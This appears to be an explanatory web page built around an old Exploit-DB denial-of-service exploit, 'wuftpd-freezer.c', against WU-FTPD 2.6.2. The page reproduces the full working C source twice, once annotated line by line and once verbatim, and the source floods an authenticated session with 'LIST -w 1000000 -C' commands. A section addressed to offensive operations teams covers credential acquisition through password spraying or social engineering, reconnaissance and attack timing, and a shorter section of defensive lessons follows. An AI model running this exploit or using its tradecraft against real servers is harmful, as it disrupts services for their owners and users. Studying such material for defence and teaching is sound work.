WU-FTPD 2.6.2 'wuftpd-freezer.c' Remote Denial of Service Explained

WU-FTPD 2.6.2 'wuftpd-freezer.c' Remote Denial of Service Explained
What this paper is
This paper, published in 2003, presents a C exploit for WU-FTPD version 2.6.2. The exploit targets a vulnerability that allows an attacker to cause a Denial of Service (DoS) on the vulnerable FTP server. It does this by sending a specially crafted LIST command that exhausts server resources.
Simple technical breakdown
The exploit works by:
- Connecting to the target WU-FTPD server.
- Logging in with provided credentials (username and password).
- Repeatedly sending a malformed
LISTcommand. - This malformed command, specifically
LIST -w 1000000 -C, causes the FTP server to attempt to list an extremely large number of files in a specific format, leading to excessive memory allocation and CPU usage, ultimately crashing or freezing the server process.
Complete code and payload walkthrough
The provided C code is a straightforward exploit program. Let's break it down section by section.
/*
* (c) Rosiello Security
*
* Copyright Rosiello Security 2003
* All Rights reserved.
*
* Tested on Red Hat 9.0
*
* Author: Angelo Rosiello
* Mail : angelo rosiello org
* This software is only for educational purpose.
* Do not use it against machines different from yours.
* Respect law.
*
*/This is a standard copyright and disclaimer block. It states the author, copyright holder, year, and emphasizes that the software is for educational purposes only and should not be used illegally.
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <string.h>These are standard C preprocessor directives for including header files.
stdio.h: For standard input/output functions likeprintf,fprintf,perror.sys/types.h: Defines basic system data types.sys/socket.h: For socket programming functions likesocket,connect,send,recv,close.netinet/in.h: Contains definitions for Internet domain addresses and ports.string.h: For string manipulation functions likestrlen,sprintf.
void addr_initialize( );
void usage( );These are forward declarations for two helper functions:
addr_initialize: Likely used to set up the server address structure.usage: Likely used to display how to run the exploit if incorrect arguments are provided.
int main( int argc, char **argv )
{
int i, sd, PORT, loop, error;
char user[30], password[30], ch;
struct sockaddr_in server_addr;
fprintf( stdout, "\n(c) Rosiello Security 2003\n" );
fprintf( stdout, "http://www.rosiello.org\n" );
fprintf( stdout, "WU-FTPD 2.6.2 Freezer by Angelo Rosiello\n\n" );This is the main function, the entry point of the program.
- It declares integer variables:
i(loop counter),sd(socket descriptor),PORT(server port),loop(number of DoS packets to send),error(for error checking). - It declares character arrays
userandpasswordto store login credentials, andchto read single characters from the socket. - It declares a
struct sockaddr_innamedserver_addrto hold server address information. - It prints introductory messages to standard output, including copyright, website, and the exploit's name.
if( argc != 6 ) usage( argv[0] );
if( strlen( argv[3] ) > 20 ) exit( 0 );
if( strlen( argv[4] ) > 20 ) exit( 0 );if( argc != 6 ) usage( argv[0] );: Checks if the number of command-line arguments is exactly 6. If not, it calls theusagefunction (which prints usage instructions and exits). The expected arguments are: program name, IP address, port, username, password, and loop count.if( strlen( argv[3] ) > 20 ) exit( 0 );: Checks if the provided username (argument 3) is longer than 20 characters. If so, it exits. This is a basic sanity check, likely to prevent buffer overflows in the FTP server's internal handling of usernames.if( strlen( argv[4] ) > 20 ) exit( 0 );: Similar check for the password (argument 4), ensuring it's not longer than 20 characters.
sprintf( user, "USER %s\n", argv[3] );
sprintf( password, "PASS %s\n", argv[4] );
PORT = atoi( argv[2] );
loop = atoi( argv[5] );sprintf( user, "USER %s\n", argv[3] );: Formats the FTPUSERcommand string using the provided username fromargv[3]. The\nis crucial as FTP commands are typically newline-terminated.sprintf( password, "PASS %s\n", argv[4] );: Formats the FTPPASScommand string using the provided password fromargv[4].PORT = atoi( argv[2] );: Converts the port number string fromargv[2]into an integer usingatoi.loop = atoi( argv[5] );: Converts the loop count string fromargv[5]into an integer usingatoi.
addr_initialize( &server_addr, PORT, ( long )inet_addr( argv[1] ));
sd = socket( AF_INET, SOCK_STREAM, 0 );addr_initialize( &server_addr, PORT, ( long )inet_addr( argv[1] ));: Calls theaddr_initializefunction to populate theserver_addrstructure.&server_addr: A pointer to the structure to be initialized.PORT: The port number.( long )inet_addr( argv[1] ): Converts the IP address string fromargv[1]into a network byte order integer usinginet_addr. The cast tolongis for compatibility.
sd = socket( AF_INET, SOCK_STREAM, 0 );: Creates a new socket.AF_INET: Specifies the address family as IPv4.SOCK_STREAM: Specifies the socket type as a stream socket (TCP).0: Specifies the protocol, which is usually determined by the socket type (TCP forSOCK_STREAM). The returnedsdis the socket descriptor.
error = connect( sd, ( struct sockaddr * ) &server_addr, sizeof( server_addr ));
if( error != 0 )
{
perror( "Something wrong with the connection" );
exit( 0 );
}error = connect( sd, ( struct sockaddr * ) &server_addr, sizeof( server_addr ));: Attempts to establish a connection to the server specified byserver_addrusing the socket descriptorsd.if( error != 0 ) { ... }: Checks if theconnectcall failed (returned a non-zero value). If it failed, it prints an error message usingperrorand exits.
while ( ch != '\n' )
{
recv( sd, &ch, 1, 0);
printf("%c", ch );
}
ch = '\0';- This loop reads and prints characters from the socket one by one until a newline character (
\n) is received. This is typically done to consume the initial banner or welcome message sent by the FTP server after a successful connection. ch = '\0';: Resets thechvariable to null after the loop.
printf( "Connection executed, now waiting to log in...\n" );
printf( "%s", user );
send( sd, user, strlen( user ), 0 );
while ( ch != '\n' )
{
recv( sd, &ch, 1, 0);
printf("%c", ch );
}
printf( "%s", password );
ch = '\0';
send( sd, password, strlen( password ), 0 );
while ( ch != '\n' )
{
recv( sd, &ch, 1, 0);
printf("%c", ch );
}printf( "Connection executed, now waiting to log in...\n" );: Informs the user that the connection is established and login is about to occur.printf( "%s", user );: Prints theUSERcommand to the console for user visibility.send( sd, user, strlen( user ), 0 );: Sends the formattedUSERcommand to the server.- The subsequent
while ( ch != '\n' ) { recv(...); printf(...); }loop reads and prints the server's response to theUSERcommand until a newline is encountered. This is to consume the server's prompt or status message. printf( "%s", password );: Prints thePASScommand to the console.ch = '\0';: Resetsch.send( sd, password, strlen( password ), 0 );: Sends the formattedPASScommand to the server.- The final
while ( ch != '\n' ) { recv(...); printf(...); }loop reads and prints the server's response to thePASScommand until a newline is encountered.
printf( "Sending the DoS query\n" );
for( i=0; i<loop; i++ )
{
write( sd, "LIST -w 1000000 -C\n", 19 );
}
printf( "All done\n" );
close( sd );
return 0;
}printf( "Sending the DoS query\n" );: Informs the user that the DoS payload is about to be sent.for( i=0; i<loop; i++ ) { write( sd, "LIST -w 1000000 -C\n", 19 ); }: This is the core of the DoS attack.- It loops
looptimes (as specified by the user). - In each iteration, it sends the string
"LIST -w 1000000 -C\n"to the server usingwrite.LIST: The FTP command to list directory contents.-w 1000000: This option is likely interpreted by WU-FTPD as a width or a count parameter. A value of1000000is excessively large, instructing the server to generate an enormous output.-C: This option's exact interpretation might vary, but in conjunction with the large number, it likely contributes to the resource exhaustion.\n: The newline character to terminate the command.
- The
19is the number of bytes to write, which is the length of"LIST -w 1000000 -C\n".
- It loops
printf( "All done\n" );: Indicates that the exploit has finished sending its payload.close( sd );: Closes the socket connection.return 0;: Exits themainfunction successfully.
void addr_initialize (struct sockaddr_in *address, int port, long IPaddr)
{
address -> sin_family = AF_INET;
address -> sin_port = htons((u_short)port);
address -> sin_addr.s_addr = IPaddr;
}This function initializes a sockaddr_in structure.
address -> sin_family = AF_INET;: Sets the address family to IPv4.address -> sin_port = htons((u_short)port);: Sets the port number.htons(host to network short) converts the port number from host byte order to network byte order, which is required for network communication.address -> sin_addr.s_addr = IPaddr;: Sets the server's IP address.IPaddris already in network byte order frominet_addr.
void usage( char *program )
{
fprintf(stdout, "USAGE: <%s> <IP> <PORT> <USER> <PASS> <LOOP>\n", program);
exit(0);
}This function prints the correct usage of the exploit program to standard output and then exits.
fprintf(stdout, "USAGE: <%s> <IP> <PORT> <USER> <PASS> <LOOP>\n", program);: Displays the expected command-line arguments.%sis replaced by the name of the program itself (argv[0]).exit(0);: Terminates the program.
// milw0rm.com [2003-10-31]A comment indicating the source and publication date of the exploit.
Mapping list: code fragment/block -> practical purpose
#include <stdio.h>etc.: Setup and Libraries - Imports necessary functions for I/O, networking, and string manipulation.void addr_initialize( ); void usage( );: Function Declarations - Declares helper functions to be used later.int main( int argc, char **argv ): Entry Point - Starts program execution, handles arguments.fprintf( stdout, ... );: Information Display - Shows exploit title and author.if( argc != 6 ) usage( argv[0] );: Argument Validation - Ensures correct number of command-line arguments.if( strlen( argv[3] ) > 20 ) exit( 0 );/if( strlen( argv[4] ) > 20 ) exit( 0 );: Input Sanitization - Prevents excessively long usernames/passwords.sprintf( user, "USER %s\n", argv[3] );/sprintf( password, "PASS %s\n", argv[4] );: Command Formatting - Prepares FTP login commands.PORT = atoi( argv[2] );/loop = atoi( argv[5] );: Argument Conversion - Converts string arguments to integers.addr_initialize( &server_addr, PORT, ( long )inet_addr( argv[1] ));: Address Setup - Configures the target server's IP and port.sd = socket( AF_INET, SOCK_STREAM, 0 );: Socket Creation - Creates a TCP socket for communication.error = connect( sd, ... ); if( error != 0 ) { ... }: Connection Establishment - Attempts to connect to the target FTP server.while ( ch != '\n' ) { recv(...); printf(...); }: Banner Consumption - Reads and displays the server's initial greeting.send( sd, user, strlen( user ), 0 );/send( sd, password, strlen( password ), 0 );: Login Attempt - Sends the formatted USER and PASS commands.while ( ch != '\n' ) { recv(...); printf(...); }(after USER/PASS): Response Consumption - Reads and displays server responses to login attempts.for( i=0; i<loop; i++ ) { write( sd, "LIST -w 1000000 -C\n", 19 ); }: DoS Payload Delivery - Repeatedly sends the malformed LIST command to trigger the vulnerability.printf( "All done\n" ); close( sd ); return 0;: Cleanup and Exit - Reports completion, closes the connection, and exits.void addr_initialize (...): Helper Function - Initializessockaddr_instructure.void usage( char *program ): Helper Function - Displays usage instructions and exits.
Shellcode/Payload Segments:
There is no separate shellcode in this exploit. The "payload" is the string "LIST -w 1000000 -C\n" which is sent repeatedly. This string is not shellcode in the traditional sense (machine code to be executed by the CPU) but rather a malformed command that exploits a vulnerability in the FTP server's command processing.
Practical details for offensive operations teams
- Required Access Level: Network access to the target host is required. No local access or specific user privileges on the target system are needed beyond being able to connect to the FTP service.
- Lab Preconditions:
- A vulnerable WU-FTPD 2.6.2 instance must be running on the target. This is a very old version, so finding a live target is unlikely in modern environments.
- The FTP service must be accessible over the network (e.g., not blocked by a firewall).
- A valid username and password for the FTP server are required. The exploit does not bypass authentication; it uses provided credentials.
- Tooling Assumptions:
- A C compiler (like GCC) is needed to compile the exploit code on the attacker's machine.
- Standard networking utilities are assumed to be available for testing connectivity (e.g.,
ping,nmapto identify the FTP service).
- Execution Pitfalls:
- Incorrect Credentials: If the provided username or password is wrong, the exploit will not be able to log in and will not send the DoS payload. The server will likely respond with authentication failure messages.
- Firewall Blocking: Network firewalls might block the connection to the FTP port (default 21).
- Version Mismatch: The exploit is specifically for WU-FTPD 2.6.2. It will not work against other versions or different FTP server software.
- Resource Exhaustion Threshold: The
loopparameter determines how many times the malformed command is sent. If the target server is very robust or theloopvalue is too low, the DoS might not be effective. Conversely, an excessively highloopvalue might cause network congestion or be unnecessary. - Server Restart/Recovery: A DoS attack typically causes a temporary disruption. The server process might crash and restart, or the entire system might reboot. The impact is usually transient unless the underlying vulnerability causes data corruption or persistent instability.
- Telemetry Evasion: This exploit is very noisy. It involves establishing a direct TCP connection, sending login credentials, and then flooding the server with specific commands. Standard network monitoring tools would easily detect this activity. The exploit itself doesn't attempt to hide its actions.
- Tradecraft Considerations:
- Reconnaissance: Before executing, confirm the target is running WU-FTPD and specifically version 2.6.2. This is critical. Tools like
nmapwith specific script checks or manual FTP banner analysis might be needed. - Credential Acquisition: Obtaining valid FTP credentials is a prerequisite. This might involve social engineering, password spraying, or exploiting other vulnerabilities to gain access to credentials.
- Impact Assessment: Understand that this is a DoS attack. The goal is to disrupt service, not gain further access or exfiltrate data. The impact is temporary service unavailability.
- Timing: Consider the operational impact of causing a DoS. Is it to disrupt a specific event, test response capabilities, or as a diversion?
- Legal and Ethical Boundaries: Always operate within authorized parameters. This exploit is for lawful, authorized engagements only.
- Reconnaissance: Before executing, confirm the target is running WU-FTPD and specifically version 2.6.2. This is critical. Tools like
Where this was used and when
- When: This exploit was published on October 31, 2003. It targets a vulnerability present in WU-FTPD version 2.6.2. Therefore, its active use would have been around this period.
- Where: WU-FTPD was a popular FTP server software for Linux and Unix-like systems. This exploit would have been used against servers running this specific version of WU-FTPD. Given its age, it's highly unlikely to be effective against modern, patched systems. Its primary use would have been in academic settings for learning or in very specific, unpatched legacy environments.
Defensive lessons for modern teams
- Patch Management: The most critical lesson is the importance of keeping software up-to-date. WU-FTPD 2.6.2 is ancient, and vulnerabilities like this are fixed in later versions. Regularly patching FTP servers and all other network services is paramount.
- Intrusion Detection/Prevention Systems (IDS/IPS): Network security devices can be configured to detect and block suspicious FTP commands, especially malformed ones or excessive
LISTrequests. Signatures for known DoS attacks against FTP services can be developed. - Firewall Rules: Restrict access to the FTP port (21) to only trusted IP addresses or networks. If FTP is not strictly necessary, disable it or restrict its use.
- Service Hardening:
- Limit User Privileges: Ensure FTP accounts have the minimum necessary privileges.
- Disable Anonymous FTP: If not required, disable anonymous FTP access.
- Monitor Resource Usage: Implement system monitoring to detect unusual spikes in CPU or memory usage, which could indicate a DoS attack.
- Protocol Validation: FTP is a simple, text-based protocol. Robust servers should validate commands and arguments to prevent resource exhaustion from malformed requests. The
-w 1000000argument should ideally be capped or handled gracefully. - Logging and Auditing: Comprehensive logging of FTP connections, commands, and errors can help in post-incident analysis and identifying the source of an attack.
ASCII visual (if applicable)
This exploit's flow is linear and client-server based, making a complex ASCII diagram unnecessary. However, a simple representation of the connection and attack flow can be visualized:
+-----------------+ +--------------------+
| Attacker Client | ----> | Target WU-FTPD 2.6.2 |
| (Exploit Code) | | (Vulnerable Server)|
+-----------------+ +--------------------+
| ^
| 1. Connect |
|------------------------|
| |
| 2. Send USER/PASS |
|------------------------|
| |
| 3. Receive Banner/Prompt |
|------------------------|
| |
| 4. Send "LIST -w 1000000 -C\n" (repeatedly)
|---------------------------------------->
| |
| | (Server attempts to process,
| | consumes resources, crashes/freezes)
| |
| 5. Disconnect (or server becomes unresponsive)
|<---------------------------------------Source references
- Paper ID: 115
- Paper Title: WU-FTPD 2.6.2 - 'wuftpd-freezer.c' Remote Denial of Service
- Author: Angelo Rosiello
- Published: 2003-10-31
- Keywords: Linux, dos
- Paper URL: https://www.exploit-db.com/papers/115
- Raw URL: https://www.exploit-db.com/raw/115
Original Exploit-DB Content (Verbatim)
/*
* (c) Rosiello Security
*
* Copyright Rosiello Security 2003
* All Rights reserved.
*
* Tested on Red Hat 9.0
*
* Author: Angelo Rosiello
* Mail : angelo rosiello org
* This software is only for educational purpose.
* Do not use it against machines different from yours.
* Respect law.
*
*/
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <string.h>
void addr_initialize( );
void usage( );
int main( int argc, char **argv )
{
int i, sd, PORT, loop, error;
char user[30], password[30], ch;
struct sockaddr_in server_addr;
fprintf( stdout, "\n(c) Rosiello Security 2003\n" );
fprintf( stdout, "http://www.rosiello.org\n" );
fprintf( stdout, "WU-FTPD 2.6.2 Freezer by Angelo Rosiello\n\n" );
if( argc != 6 ) usage( argv[0] );
if( strlen( argv[3] ) > 20 ) exit( 0 );
if( strlen( argv[4] ) > 20 ) exit( 0 );
sprintf( user, "USER %s\n", argv[3] );
sprintf( password, "PASS %s\n", argv[4] );
PORT = atoi( argv[2] );
loop = atoi( argv[5] );
addr_initialize( &server_addr, PORT, ( long )inet_addr( argv[1] ));
sd = socket( AF_INET, SOCK_STREAM, 0 );
error = connect( sd, ( struct sockaddr * ) &server_addr, sizeof( server_addr ));
if( error != 0 )
{
perror( "Something wrong with the connection" );
exit( 0 );
}
while ( ch != '\n' )
{
recv( sd, &ch, 1, 0);
printf("%c", ch );
}
ch = '\0';
printf( "Connection executed, now waiting to log in...\n" );
printf( "%s", user );
send( sd, user, strlen( user ), 0 );
while ( ch != '\n' )
{
recv( sd, &ch, 1, 0);
printf("%c", ch );
}
printf( "%s", password );
ch = '\0';
send( sd, password, strlen( password ), 0 );
while ( ch != '\n' )
{
recv( sd, &ch, 1, 0);
printf("%c", ch );
}
printf( "Sending the DoS query\n" );
for( i=0; i<loop; i++ )
{
write( sd, "LIST -w 1000000 -C\n", 19 );
}
printf( "All done\n" );
close( sd );
return 0;
}
void addr_initialize (struct sockaddr_in *address, int port, long IPaddr)
{
address -> sin_family = AF_INET;
address -> sin_port = htons((u_short)port);
address -> sin_addr.s_addr = IPaddr;
}
void usage( char *program )
{
fprintf(stdout, "USAGE: <%s> <IP> <PORT> <USER> <PASS> <LOOP>\n", program);
exit(0);
}
// milw0rm.com [2003-10-31]